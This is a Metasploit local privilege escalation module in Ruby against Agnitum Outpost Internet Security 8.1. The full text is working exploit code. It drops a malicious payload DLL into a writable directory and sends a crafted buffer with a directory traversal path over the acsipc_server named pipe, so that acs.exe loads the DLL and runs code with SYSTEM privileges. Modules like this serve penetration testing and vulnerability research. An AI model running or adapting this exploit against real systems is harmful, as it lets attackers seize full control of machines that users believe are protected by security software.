## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, { 'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation', 'Description' => %q{ This module exploits a directory traversal vulnerability on Agnitum Outpost Internet Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load load arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions). }, 'License' => MSF_LICENSE, 'Author' => [ 'Ahmad Moghimi', # Vulnerability discovery 'juan vazquez' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Privileged' => true, 'Targets' => [ [ 'Agnitum Outpost Internet Security 8.1', { } ], ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'References' => [ [ 'OSVDB', '96208' ], [ 'EDB', '27282' ], [ 'URL', 'http://mallocat.com/a-journey-to-antivirus-escalation/' ] ], 'DisclosureDate' => 'Aug 02 2013', 'DefaultTarget' => 0 })) register_options([ # It is OptPath becuase it's a *remote* path OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]), # By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\ OptInt.new("DEPTH", [ true, "Traversal depth", 3 ]) ], self.class) end def junk return rand_text_alpha(4).unpack("V").first end def open_named_pipe(pipe) invalid_handle_value = 0xFFFFFFFF r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0) handle = r['return'] if handle == invalid_handle_value return nil end return handle end def write_named_pipe(handle, dll_path, dll_name) traversal_path = "..\\" * datastore["DEPTH"] traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "") traversal_path << "\\#{dll_name}" path = Rex::Text.to_unicode(traversal_path) data = "\x00" * 0x11 data << path data << "\x00\x00" data << "\x00\x00\x00" buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler buf << [0x17].pack("V") # command buf << [junk].pack("V") buf << [data.length].pack("V") buf << [0, 0, 0].pack("V*") buf << data w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil) if w['return'] == false print_error("The was an error writing to disk, check permissions") return nil end return w['lpNumberOfBytesWritten'] end def check handle = open_named_pipe("\\\\.\\pipe\\acsipc_server") if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) return Exploit::CheckCode::Detected end def exploit temp_dir = "" print_status("Opening named pipe...") handle = open_named_pipe("\\\\.\\pipe\\acsipc_server") if handle.nil? fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found") else print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...") end if datastore["WritableDir"] and not datastore["WritableDir"].empty? temp_dir = datastore["WritableDir"] else temp_dir = client.sys.config.getenv('TEMP') end print_status("Using #{temp_dir} to drop malicious DLL...") begin cd(temp_dir) rescue Rex::Post::Meterpreter::RequestError session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Config, "Failed to use the #{temp_dir} directory") end print_status("Writing malicious DLL to remote filesystem") write_path = pwd dll_name = "#{rand_text_alpha(10 + rand(10))}.dll" begin # Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem write_file(dll_name, generate_payload_dll) register_file_for_cleanup("#{write_path}\\#{dll_name}") rescue Rex::Post::Meterpreter::RequestError session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Config, "Failed to drop payload into #{temp_dir}") end print_status("Exploiting through \\\\.\\pipe\\acsipc_server...") bytes = write_named_pipe(handle, write_path, dll_name) session.railgun.kernel32.CloseHandle(handle) if bytes.nil? fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server") end end end